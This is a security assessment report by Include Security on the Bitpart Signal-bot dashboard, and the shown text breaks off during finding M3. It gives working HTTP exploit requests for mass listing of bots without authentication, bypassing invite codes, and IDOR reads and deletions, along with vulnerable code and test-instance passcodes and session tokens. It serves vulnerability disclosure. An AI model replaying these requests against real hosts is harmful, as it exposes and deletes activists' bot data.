

Security Assessment of Bitpart Servers, Cryptography, and Dashboard on behalf of the Open Technology Fund



TABLE OF CONTENTS

Executive Summary.....	3
Include Security (IncludeSec)	3
Assessment Objectives.....	3
Scope and Methodology	3
Findings Overview	3
Next Steps	3
Risk Categorizations.....	4
Critical-Risk.....	4
High-Risk.....	4
Medium-Risk	4
Low-Risk	4
Informational	4
Introduction	5
High-Risk Findings	6
H1: All Users' Bot Data Listed via API Input	6
Medium-Risk Findings.....	8
M1: Invitation Code Bypass	8
M2: Insecure Direct Object Reference (IDOR)	9
M3: API Routes Exposed Without Authentication	13
Low-Risk Findings.....	16
L1: Random Number Generator Does Not Produce High Entropy	16
L2: Cleartext Transmission of Security-Relevant Information	17
L3: GitHub Actions Not Pinned to a Hash	18
L4: Unsynchronized Bot Modification and Deletion	19

EXECUTIVE SUMMARY

Include Security (IncludeSec)

IncludeSec brings together some of the best information security talent from around the world. The team is composed of security experts in every aspect of consumer and enterprise technology, from low-level hardware and operating systems to the latest cutting-edge web and mobile applications. More information about the company can be found at www.IncludeSecurity.com.

Assessment Objectives

The objective of this assessment was to identify and confirm potential security vulnerabilities within targets in-scope of the SOW. The team assigned a qualitative risk ranking to each finding. Recommendations were provided for remediation steps which BitPart could implement to secure its applications and systems.

Scope and Methodology

Include Security performed a security assessment of Bitpart's Servers, Cryptography, and Dashboard on behalf of the Open Technology Fund. The assessment team performed a 10 day effort spanning from July 7, 2025 – July 18, 2025, using a standard greybox assessment methodology which included a detailed review of all the components described in a manner consistent with the original Statement of Work (SOW).

Findings Overview

IncludeSec identified a total of 8 findings. There were 0 deemed to be "Critical-Risk," 1 deemed to be "High-Risk," 3 deemed to be "Medium-Risk," and 4 deemed to be "Low-Risk," which pose some tangible security risk. Additionally, 0 "Informational" level findings were identified that do not immediately pose a security risk.

IncludeSec encourages BitPart to redefine the stated risk categorizations internally in a manner that incorporates internal knowledge regarding business model, customer risk, and mitigation environmental factors.

Next Steps

IncludeSec advises BitPart to remediate as many findings as possible in a prioritized manner and make systemic changes to the Software Development Life Cycle (SDLC) to prevent further vulnerabilities from being introduced into future release cycles. This report can be used by as a basis for any SDLC changes. IncludeSec welcomes the opportunity to assist BitPart in improving their SDLC in future engagements by providing security assessments of additional products. For inquiries or assistance scheduling remediation tests, please contact us at remediation@includesecurity.com.

RISK CATEGORIZATIONS

At the conclusion of the assessment, Include Security categorized findings into five levels of perceived security risk: Critical, High, Medium, Low, or Informational. **The risk categorizations below are guidelines that IncludeSec understands reflect best practices in the security industry and may differ from a client's internal perceived risk. Additionally, all risk is viewed as "location agnostic" as if the system in question was deployed on the Internet. It is common and encouraged that all clients recategorize findings based on their internal business risk tolerances. Any discrepancies between assigned risk and internal perceived risk are addressed during the course of remediation testing.**

Critical-Risk findings are those that pose an immediate and serious threat to the company's infrastructure and customers. This includes loss of system, access, or application control, compromise of administrative accounts or restriction of system functions, or the exposure of confidential information. These threats should take priority during remediation efforts.

High-Risk findings are those that could pose serious threats including loss of system, access, or application control, compromise of administrative accounts or restriction of system functions, or the exposure of confidential information.

Medium-Risk findings are those that could potentially be used with other techniques to compromise accounts, data, or performance.

Low-Risk findings pose limited exposure to compromise or loss of data, and are typically attributed to configuration, and outdated patches or policies.

Informational findings pose little to no security exposure to compromise or loss of data which cover defense-in-depth and best-practice changes which we recommend are made to the application. Any informational findings for which the assessment team perceived a direct security risk, were also reported in the spirit of full disclosure but were considered to be out of scope of the engagement.

The findings represented in this report are listed by a risk rated short name (e.g., C1, H2, M3, L4, and I5) and finding title. Each finding may include if applicable: Title, Description, Impact, Reproduction (evidence necessary to reproduce findings), Recommended Remediation, and References.

INTRODUCTION

Bitpart is a system designed to run bots on Signal messenger. The aim is to make it easy for activists, journalists, and human rights defenders to securely and privately distribute messages to relevant people. There is currently a hosted **Bitpart** implementation deployed, and eventually the code will be open sourced so anyone can run a **Bitpart** server instance. There are four main components of the **Bitpart** system:

- **Bitpart Server:** Rust-based WebSocket server that processes messages from Signal channels using a modified version of the Signal Presage library. A domain-specific language called CSML is used to specify and interpret the conversation flows supported by each bot.
- **Bitpart CLI:** A small Rust command-line client designed to connect to the **Bitpart Server** for administrative purposes, such as listing and deleting bots.
- **Bitpart Dashboard:** Web application written in NextJS enabling users to create and modify bots. Currently, five main bot workflows can be created: broadcast, tipline, helpdesk, VPN distribution, and eSIM distribution.
- **Bitpart EMS:** A Rust-based “External Memory Store” service that receives sets of VPN and eSIM credentials from the dashboard, and serves them to the CSML interpreter when requested by a chatter.

After creating a bot, users are given a QR code used to connect the bot to a Signal account they own as a linked device. This enables the **Bitpart** server to be an end in Signal's end-to-end encryption, so it can reply to chat messages sent by chatters in the bot's distribution list. This means that Signal message contents are briefly available in cleartext to the **Bitpart** server, but are not permanently stored.

The assessment team performed a 10-day assessment beginning on July 7th and ending on July 18th. The assessment consisted of reviewing all components of the **Bitpart** system, with a primary focus on remote attack surface, privacy concerns, and usage of the Presage cryptographic library for interfacing with Signal.

HIGH-RISK FINDINGS

H1: All Users' Bot Data Listed via API Input

Description:

The **Bitpart** web dashboard contained an API route to list a user's bots. By specifying an empty array as an input to this API, the response contained all bots created by all users on the **Bitpart** system.

Impact:

As described in the finding **API Routes Exposed Without Authentication**, it was possible to call this API route without an account on the **Bitpart** web dashboard. Therefore, any Internet user could exploit this vulnerability to retrieve confidential information about all bots from the **Bitpart** PostgreSQL database. The bot data includes custom description text for the bot, passcodes that enable chatters to control the bot, and admin phone numbers provided by the bot creator.

Reproduction:

The following request provides an empty array to the **/bots** endpoint, which returns all bots created by all **Bitpart** users.

Request:

```
POST /bots HTTP/1.1
Host: audit.bitp.art
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://audit.bitp.art/bots
Next-Action: 7f48de34a4b2596181f90aed9761e7d2b91068ba57
Content-Type: text/plain;charset=UTF-8
Content-Length: 2
Origin: https://audit.bitp.art
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Connection: keep-alive

[]
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sat, 12 Jul 2025 00:08:57 GMT
Content-Type: text/x-component
Connection: keep-alive
set-cookie: __Host-authjs.csrf-token=4d614c2ed22750f3baa52ec7779c3f5beaaac624fb3a74f05a8747bab955a5cc%7C42706387ac241e5a5cf8dae1421f88e7226bdf868bcc690f15ea5669790afd9d; Path=/; HttpOnly; Secure; SameSite=Lax
set-cookie: __Secure-authjs.callback-url=https%3A%2F%2Faudit.bitp.art; Path=/; HttpOnly; Secure; SameSite=Lax
Cache-Control: no-store, must-revalidate
x-action-revalidated: [[],0,0]
X-Powered-By: Next.js
Vary: Accept-Encoding
Content-Length: 3665

:N1752278937129.3894
0:{ "a": "$@1", "f": "", "b": "development" }
1:D{"time":0.3088599443435669}
```

```
1:[{"id":"cmcp8qys000011a040y34ypk2","botType":"broadcast","botName":"bbot","bitpartId":"bbot_cmcp8jpfh00001a3wa05q1rah","phone":"","countryCode":"0","name":"Broadcast Bot","description":"Here you'll receive messages about <ADD TOPIC> from <WHO? (OPTIONAL)>. We use this channel so that we are not in a group, which can potentially compromise everyone in the group. We promise not to spam you, but you can leave at any time. If you reply to this number, we won't receive it. So if you want to contact us, please message <ADD SIGNAL USERNAME / EMAIL> who runs this group.", "about":null, "adminPhones":[], "passcode":"HBPY9Z5S", "safetyTips":"","privacyPolicy":null, "faq":[], "activationInstructions":null, "helpInstructions":null, "locations":[], "maxCodes":null, "plans":[], "referral":null, "responseTime":null, "storageAccess":null, "storageTime":null, "problems":[], "vpnName":null, "creatorId":"cmcp8jpfh00001a3wa05q1rah", "createdAt":"$D2025-07-04T20:02:27.501Z", "updatedAt":"$D2025-07-04T20:02:27.501Z"}, {"id":"cmczf03yr0001lacmkhglwati", "botType":"vpn", [...]}
```

The root cause of this vulnerability was identified in file **bitpart-dashboard/app/actions/getUserBots.js**, line 4, which used Prisma's **findMany()** function to list user bots:

```
export const getUserBots = async (userId) => {
  try {
    const bots = await prisma.bot.findMany({
      where: {
        creatorId: userId,
      },
    });
    return bots;
  } catch (e) {
    console.log(e);
  }
};
```

Although not explicitly described in the documentation, providing an empty array to a **where** clause of this function causes the clause to match all table rows.

Recommended Remediation:

The assessment team recommends not allowing the user to specify the user ID to the **/bots** endpoint. As described in the finding **API Routes Exposed Without Authentication**, the route should also only be accessible by authenticated users, and the user ID for selecting bots should be derived from the user's authentication token.

References:

[Prisma CRUD Reference](#)

MEDIUM-RISK FINDINGS

M1: Invitation Code Bypass

Description:

During the launch period, **Bitpart** was designed to only enable access to invited users. The FAQ states that “access is currently only offered via invite codes”. However, at the time of assessment it was possible to bypass the need for an invitation code, allowing anyone on the Internet to create a **Bitpart** account.

Impact:

Bitpart is still under development, has not completed a security audit, and is currently only intended for use by invited members. Unauthorized users could find bugs in the application and investigate internal functionality that was not intended to be made public.

Reproduction:

The following request-response pair shows that it was possible to load the **/signup** page without entering an invite code.

Request:

```
GET /signup HTTP/1.1
Host: audit.bitp.art
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 11 Jul 2025 20:36:36 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
set-cookie: __Secure-authjs.callback-url=https%3A%2F%2Faudit.bitp.art; Path=/; HttpOnly; Secure; SameSite=Lax
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Vary: Accept-Encoding
Content-Length: 128723

<!DOCTYPE html><html lang="en"><head>[...]
```

As shown in the following code from **bitpart-dashboard/app/actions/validateCode.js**, line 15, if an invitation code was correct, then the user was redirected to **/signup** without setting any additional context on the user's session. The code entry could be bypassed altogether with direct access to **/signup**.

```
if (!inviteCode) {
  return {
    error: "Invite code is not valid. Please try again.",
  };
} else if (inviteCode.used) {
  return {
```



```
    error:
      "Invite code has already been used. Please enter a different code or contact an administrator.",
    };
  }

  const updateInviteCode = await prisma.inviteCode.update({
    where: {
      code: inviteCode.code,
    },
    data: {
      used: true,
    },
  });
});

redirectPath = "/signup";
} catch (e) {
  console.log(e);
} finally {
  if (redirectPath) {
    return redirect(redirectPath); // eslint-disable-line no-unsafe-finally
  }
}
```

Recommended Remediation:

The assessment team recommends ensuring that invitation codes must be provided when registering an account, rather than as a separate step. Validation codes could then be added to ensure that only users who possess a valid invitation code can register.

References:

[Bitpart FAQ](#)

M2: Insecure Direct Object Reference (IDOR)

Description:

Several bot functionalities in the **Bitpart** dashboard were found to be vulnerable to Insecure Direct Object Reference (IDOR) attacks at the time of assessment. IDOR vulnerabilities occur when a reference to an internal implementation object, such as a file or a database key, is exposed to users without appropriate access control.

Impact:

An attacker can manipulate direct object references to gain access to unauthorized data. The **update**, **delete**, and **list bot** endpoints did not validate the bot ID parameter, so an attacker could alter the parameter to access the information of other users, such as viewing or deleting other users' bots.

User and Bot IDs were generated using the collision-resistant ID algorithm (CUID). While the CUIDs of other users were not directly displayed to an attacker, they could be retrieved through other vulnerabilities (e.g., the finding **All Bots Listed via API Input**), or guessed, as CUIDs use predictable values such as timestamps, and may use non-cryptographic pseudorandom number generators.

Reproduction:

The HTTP request and response below were captured when accessing the **/bots** endpoint to view the list of bots owned by the user **blabla2**.

Request:

```
POST /bots HTTP/1.1
Host: audit.bitp.art
Cookie: __Host-authjs.csrf-
token=aced40debb38e6c9901b3973136e2562d91065f0e3a5dead368ab4364a4f2d46%7Cce5794235826d068daed30a06c9be1f0af28fbf399
5bc9ea31b6c36ed90227fc; __Secure-authjs.callback-url=https%3A%2F%2Faudit.bitp.art%2Flogin; __Secure-authjs.session-
token=eyJhbGciOiJIaXciLCJlbnMiOiJBMjU2Q0JDLUhTNTYiIiwia2lkIjojQ3Zxcmg1NWRqODJLMmNrM1NuZlRSa3I3ZW5HNHRPVC1seU9aYjh1a
0hnNEpPSUF4UDRZMGxsTDlyMmJ5TXZFWVBmakplXzZOUjZkZUg5RGZlchV5QmciFQ..r1yUba8ZRpmVSU08snr00w.TwDR14caIO123AgXS8SjZzEPa
NYUv1M0U0LCj_1WW-
ojHev3JmERwumQGua3NyaWcQ_Q0101CZAybDkKwKa8FrqjDtec49P_iYTQyoNmBstzZCfe01C6Jc2Tp1xqyogBzhvfZcAJUc_YeBQmia0GEKUXKMxyBL
nNYM2Y1J80-QJmGkQOGPAht8UBEtNE7Z7cKbiB_7Qw-
QBmy7EEUAvXMiP0JjC4S34H5NusDV4dzB6U.Sp4btmCXSmnLznaqPTQkCwHhy0lq4Rqj13aoKWzrbI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://audit.bitp.art/bots
Next-Action: 7f48de34a4b2596181f90aed9761e7d2b91068ba57
Next-Router-State-Tree:
%5B%22%22%2C%7B%22children%22%3A%5B%22(returning)%22%2C%7B%22children%22%3A%5B%22bots%22%2C%7B%22children%22%3A%5B%
22__PAGE__%22%2C%7B%7D%2C%22fbots%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 29
Origin: https://audit.bitp.art
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Connection: keep-alive

["cmcue90tq0003la044bk5zq2j"]
```

The response below returned the bots owned by the user **blabla2** as expected.

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 18 Jul 2025 15:21:18 GMT
Content-Type: text/x-component
Connection: keep-alive
set-cookie: __Secure-authjs.session-
token=eyJhbGciOiJIaXciLCJlbnMiOiJBMjU2Q0JDLUhTNTYiIiwia2lkIjojQ3Zxcmg1NWRqODJLMmNrM1NuZlRSa3I3ZW5HNHRPVC1seU9aYjh1a
0hnNEpPSUF4UDRZMGxsTDlyMmJ5TXZFWVBmakplXzZOUjZkZUg5RGZlchV5QmciFQ..TfCK7cmtwgIMD6gMDC26ag.zVq0PXiLVsXyLXQ4huLabmOtx
TTt3lvtknVgWQWb_kkgbJ3a54hFh5920wc11KNKw3hQX6-hOSKX_CM1RLae7RZ700010AatCuSo_ake11ty_jc-fLVTqnR1BuOD1U1yHR74-
UFCqILi1AdjV92L009Swj9eXdvV7saKIGW2LVTzqDt7Le61idQCnR5-cZzk1xqE93Avlw4bYDj47Gs9VTX6f_hVIUtvdi-
UDXBAYM0.X_CiitYPiEknTUvweYwLhW4_WoC_nSWF-ktJrwSns7w; Path=/; Expires=Fri, 18 Jul 2025 16:21:18 GMT; HttpOnly;
Secure; SameSite=Lax
Cache-Control: no-store, must-revalidate
x-action-revalidated: [[],0,0]
X-Powered-By: Next.js
Vary: Accept-Encoding
Content-Length: 2068

:N1752852078788.3772
0:{"a":"$@1","f":"","b":"development"}
1:D{"time":0.18022799491882324}
1:[{"id":"cmczg3tri0005lacmjtjcj2kz","botType":"broadcast","botName":"broad3","bitpartId":"broad3_cmcue90tq0003la04
4bk5zq2j","phone":"","countryCode":"","name":"qasd","description":"Here you'll receive messages about <ADD TOPIC>
from <WHO? (OPTIONAL)>. We use this channel so that we are not in a group, which can potentially compromise
everyone in the group. We promise not to spam you, but you can leave at any time. If you reply to this number, we
won't receive it. So if you want to contact us, please message <ADD SIGNAL USERNAME / EMAIL> who runs this
group.", "about":null, "adminPhones":[], "passcode":"GMD269AE", "safetyTips":"","privacyPolicy":null, "faq":[], "activati
onInstructions":null, "helpInstructions":null, "locations":[], "maxCodes":null, "plans":[], "referral":null, "responseTim
```

```
e":null,"storageAccess":null,"storageTime":null,"problems":[],"vpnName":null,"creatorId":"cmcue90tq0003la044bk5zq2j",
,"createdAt":"$D2025-07-11T23:26:06.702Z","updatedAt":"$D2025-07-11T23:26:06.702Z"},{"id":"cmczg4g5n0007lacmno4tha3d","botType":"broadcast","botName":"broad4","bitpartId":"broad4_cm
mcue90tq0003la044bk5zq2j","phone":"","countryCode":"0","name":"asda","description":"Here you'll receive messages
about <ADD TOPIC> from <WHO? (OPTIONAL)>. We use this channel so that we are not in a group, which can potentially
compromise everyone in the group. We promise not to spam you, but you can leave at any time. If you reply to this
number, we won't receive it. So if you want to contact us, please message <ADD SIGNAL USERNAME / EMAIL> who runs
this
group.", "about":null,"adminPhones":[],"passcode":"BG2M4S9E","safetyTips":"","privacyPolicy":null,"faq":[],"activati
onInstructions":null,"helpInstructions":null,"locations":[],"maxCodes":null,"plans":[],"referral":null,"responseTim
e":null,"storageAccess":null,"storageTime":null,"problems":[],"vpnName":null,"creatorId":"cmcue90tq0003la044bk5zq2j",
,"createdAt":"$D2025-07-11T23:26:35.723Z","updatedAt":"$D2025-07-11T23:26:35.723Z"}]
```

The HTTP request and response below show that by tampering with the ID parameter, the **blabla2** user could access the bots of user **blabla**.

Request:

```
POST /bots HTTP/1.1
Host: audit.bitp.art
Cookie: __Host-authjs.csrf-
token=aced40debb38e6c9901b3973136e2562d91065f0e3a5dead368ab4364a4f2d46%7Cce5794235826d068daed30a06c9be1f0af28fbf399
5bc9ea31b6c36ed90227fc; __Secure-authjs.callback-url=https%3A%2F%2Faudit.bitp.art%2Flogin; __Secure-authjs.session-
token=eyJhbGciOiJIaXZlcjEiLCJlbmMiOiJBMjU2Q0JDLUhTNTYyIiwia2lkIjojIjQ3ZxcmgjNWRqODJLMmNrM1NuZlRSa3I3ZWwhNXRPVC1seU9aYjh1a
0hnNEpPSUF4UDRZMGxsTDlyMmJ5TXZFWVBmakp1XzZOUjZkZUG5RGZlchVScQmcfQ..rlyUba8ZRpMVSU08snr00w.TwDR14caIO123AgXS8SjZzEPa
NYUv1M0U0LCj_1WW-
ojHev3JmERwumQGua3NyaWcQ_Q101CZAyBdkWka8FrqjDtec49P_iYTQyoNmBstzZCfe01C6Jc2Tp1xqyogBzhvfZcAJUc_YeBQmia0GEXKUXKMxyBL
nNYM2Y1J80-QJmGkQOGPAht8UBEtNE7Z7cKbiB_7Qw-
QBmy7EEUAvXMiP0JjC4S34H5NusDV4dzB6U.Sp4btmCXSmnLznaqPTQkQcWHhy0lq4Rqj13aoKWzrbI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://audit.bitp.art/bots
Next-Action: 7f48de34a4b2596181f90aed9761e7d2b91068ba57
Next-Router-State-Tree:
%5B%22%22%2C%7B%22children%22%3A%5B%22(returning)%22%2C%7B%22children%22%3A%5B%22bots%22%2C%7B%22children%22%3A%5B%
22__PAGE__%22%2C%7B%7D%2C%22%2Fbots%22%2C%22refresh%22%5D%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain; charset=UTF-8
Content-Length: 29
Origin: https://audit.bitp.art
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Connection: keep-alive
["cmcp8jpfh0000la3wa05q1rah"]
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 18 Jul 2025 15:29:43 GMT
Content-Type: text/x-component
Connection: keep-alive
set-cookie: __Secure-authjs.session-
token=eyJhbGciOiJIaXZlcjEiLCJlbmMiOiJBMjU2Q0JDLUhTNTYyIiwia2lkIjojIjQ3ZxcmgjNWRqODJLMmNrM1NuZlRSa3I3ZWwhNXRPVC1seU9aYjh1a
0hnNEpPSUF4UDRZMGxsTDlyMmJ5TXZFWVBmakp1XzZOUjZkZUG5RGZlchVScQmcfQ..8MjzmRMxgx9ztQubkaI4vw.1ESk373h0deS3g3X_FoZXCtXU
juY3C88HuoSHZAp71_C_apR0Bi0mn6LpBfXLNTvhm-
SdE9xQLinFHPyULrYFnpQRnojqN781Mz1k9r4a1FDEMDunTc1OHKdWUeZ9BrnUTjLD6Trp_Let0SMs9m3jD9w1NipbtTgxP2hrydi4in29Ed5evUBU
lQV95tL0VGUCX56yvapfK6ZfkSox4CLOz8PdKVT03tuNWUPrXg5A0.KxWoY_D_LDU7ssEiUCGgClp5ypmNE8uwwUzk60BVSqA; Path=/;
Expires=Fri, 18 Jul 2025 16:29:43 GMT; HttpOnly; Secure; SameSite=Lax
Cache-Control: no-store, must-revalidate
x-action-revalidated: [[],0,0]
```

X-Powered-By: Next.js
Vary: Accept-Encoding
Content-Length: 1086

```
:N1752852583567.6929
0:{"a":"$@1","f":"","b":"development"}
1:D{"time":0.3446369171142578}
1:[{"id":"cmcp8qys000011a040y34ypk2","botType":"broadcast","botName":"bbot","bitpartId":"bbot_cmcp8jpfh00001a3wa05q1rah","phone":"","countryCode":"0","name":"Broadcast Bot","description":"Here you'll receive messages about <ADD TOPIC> from <WHO? (OPTIONAL)>. We use this channel so that we are not in a group, which can potentially compromise everyone in the group. We promise not to spam you, but you can leave at any time. If you reply to this number, we won't receive it. So if you want to contact us, please message <ADD SIGNAL USERNAME / EMAIL> who runs this group.", "about":null, "adminPhones":[], "passcode":"HBPY9Z5S", "safetyTips":"","privacyPolicy":null, "faq":[], "activationInstructions":null, "helpInstructions":null, "locations":[], "maxCodes":null, "plans":[], "referral":null, "responseTime":null, "storageAccess":null, "storageTime":null, "problems":[], "vpnName":null, "creatorId":"cmcp8jpfh00001a3wa05q1rah", "createdAt":"$D2025-07-04T20:02:27.501Z", "updatedAt":"$D2025-07-04T20:02:27.501Z"}]
```

Additionally, the **blabla2** user could delete the bots of user **blabla**, as shown by the following request-response pair which deleted the ID of **blabla's** bot.

Request:

```
POST /bots HTTP/1.1
Host: audit.bitp.art
Cookie: __Host-authjs.csrf-
token=aced40debb38e6c9901b3973136e2562d91065f0e3a5dead368ab4364a4f2d46%7Cce5794235826d068daed30a06c9be1f0af28fbf399
5bc9ea31b6c36ed90227fc; __Secure-authjs.callback-url=https%3A%2F%2Faudit.bitp.art%2Flogin; __Secure-authjs.session-
token=eyJhbGciOiJIaXNiLCJlbnMiOiJBMjU2Q0JDLUhTNTYyIiwia2lkIjoiQ3Zxcmg1NWRqODJLMmNrM1NuZlRSa3I3ZWwHNHRPVC1seU9aYjh1a
0hnNEpPSUF4UDRZMGxsTDlyMmJ5TXZFWVBmakplXzZOUjZkdUg5RGZlchVscQmcfQ..2RsNNid29PHNmyGfbsgsMw.Z0MTxeVpLTJgUz6-
n7RbgRuUBwnf-ZUADK1D37Ka1-tVnP3KuMDxTRzifBmjrWdBzNUwP5BYHN99USjXsACU30xw03aoaixdamUYjcOjUIbg-
G5Cjn9uL7eNlmcNfg1GGm9ukvDcqUzT0k2LrzK38iyP_RP4hZeEF_2KRpK1WIL_l6Jfmx8NEDWQLWqWYPVQ1fmRr9vjUD8b8Zg64RAL_VTJV7ID7K6k
tWo2k2v8x0.UMVwsK0SL4BrS4adB9gBnLTGM9NxiI0HAVFjvQzeIio
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://audit.bitp.art/bots
Next-Action: 7f9e638c91d99089cd24f5ae4dcb8a116cb193b437
Next-Router-State-Tree:
%5B%22%22%2C%7B%22children%22%3A%5B%22(returning)%22%2C%7B%22children%22%3A%5B%22bots%22%2C%7B%22children%22%3A%5B%
22__PAGE__%22%2C%7B%7D%2C%22fbots%22%2C%22refresh%22%5D%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain; charset=UTF-8
Content-Length: 48
Origin: https://audit.bitp.art
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Priority: u=0
Te: trailers
Connection: keep-alive

["cmcp8qys000011a040y34ypk2", "broad3_undefined"]
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 18 Jul 2025 15:30:26 GMT
Content-Type: text/x-component
Connection: keep-alive
set-cookie: __Secure-authjs.session-
token=eyJhbGciOiJIaXNiLCJlbnMiOiJBMjU2Q0JDLUhTNTYyIiwia2lkIjoiQ3Zxcmg1NWRqODJLMmNrM1NuZlRSa3I3ZWwHNHRPVC1seU9aYjh1a
0hnNEpPSUF4UDRZMGxsTDlyMmJ5TXZFWVBmakplXzZOUjZkdUg5RGZlchVscQmcfQ..q1Vt4mKUXzSp1uWZZ0I40g.mYgBOV3qaKq4oqPfrmlgLo6Wz
CsSOBvrOgV_xENCcTxPw05zXjb20BHj9ziAI1GYZW34Xwv1UHgzXT7VyMrgqMTsE7zU0MUEx7RdNrOWEN2x8Mxpp9ovXl00idHnncZsvgd-
FUMdr_QtF_Wpg66mNTpHA0b6YsVbVLSJBHx8WG0jGqfjdR5JNCIoIVRXzW31AiPwgWDQ_LmkQ0xoTsuCu-
```

```
6gT_DBXS09PzLhP_6PKMmo.bH1bBDReqLCr51u1_eYeBc8DswLnDjR3bAD10Z6P5C4; Path=/; Expires=Fri, 18 Jul 2025 16:30:26 GMT;
HttpOnly; Secure; SameSite=Lax
Cache-Control: no-store, must-revalidate
x-action-revalidated: [[],0,0]
X-Powered-By: Next.js
Vary: Accept-Encoding
Content-Length: 103

:N1752852626867.9905
0:{"a":"$@1","f":"","b":"development"}
1:D{"time":0.2534658908843994}
1:"deleted"
```

The findings were due to the fact that NextJS APIs did not validate that the user's authentication state was associated with bots when processing requests. For instance, at line 95 of **bitpart-dashboard/app/actions/deleteBot.js**, bots were deleted by ID, with no verification to ensure the user created the bot:

```
try {
  const bot = await prisma.bot.delete({
    where: {
      id: botId,
    },
  });
};

return "deleted";
} catch (e) {
  console.log(e);
}
```

Recommended Remediation:

The assessment team recommends that all endpoints implement authorization checks to prevent users from directly referencing other users' data. Additionally, identifiers which are random or otherwise more difficult for attackers to guess or enumerate could help mitigate IDOR attacks. CUIDs are now deprecated as a form of identifier due to relying on guessable data such as timestamps and potentially using non-cryptographic pseudo random number generators.

References:

[OWASP Insecure Direct Object Reference Prevention Cheat Sheet](#)
[cuid](#)

M3: API Routes Exposed Without Authentication

Description:

By default, API routes in the **Bitpart** web dashboard did not require a user to be authenticated to call server actions. As a result, anyone on the Internet could access these endpoints and create, view, or delete bots.

Impact:

Allowing unauthenticated users to perform backend functionality can make accountability and monitoring difficult. Additionally, **Bitpart** was not intended to be accessed except by invited users during the pre-release period, but currently anyone on the Internet could exploit findings such as **All Users' Bot Data Listed via API Input** due to the lack of API authentication.

Reproduction:

The following request-response pair shows an unauthenticated user (no **Cookie** header) was able to list all bots in the Prisma PostgreSQL database.

Request:

```
POST /bots HTTP/1.1
Host: audit.bitp.art
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://audit.bitp.art/bots
Next-Action: 7f48de34a4b2596181f90aed9761e7d2b91068ba57
Content-Type: text/plain;charset=UTF-8
Content-Length: 2
Origin: https://audit.bitp.art
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Connection: keep-alive

[]
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sat, 12 Jul 2025 00:08:57 GMT
Content-Type: text/x-component
Connection: keep-alive
set-cookie: __Host-authjs.csrf-token=4d614c2ed22750f3baa52ec7779c3f5beaaac624fb3a74f05a8747bab955a5cc%7C42706387ac241e5a5cf8dae1421f88e7226bdf868bcc690f15ea5669790afd9d; Path=/; HttpOnly; Secure; SameSite=Lax
set-cookie: __Secure-authjs.callback-url=https%3A%2F%2Faudit.bitp.art; Path=/; HttpOnly; Secure; SameSite=Lax
Cache-Control: no-store, must-revalidate
x-action-revalidated: [[],0,0]
X-Powered-By: Next.js
Vary: Accept-Encoding
Content-Length: 3665

:N1752278937129.3894
0:{"a":"$@1","f":"","b":"development"}
1:D{"time":0.3088599443435669}
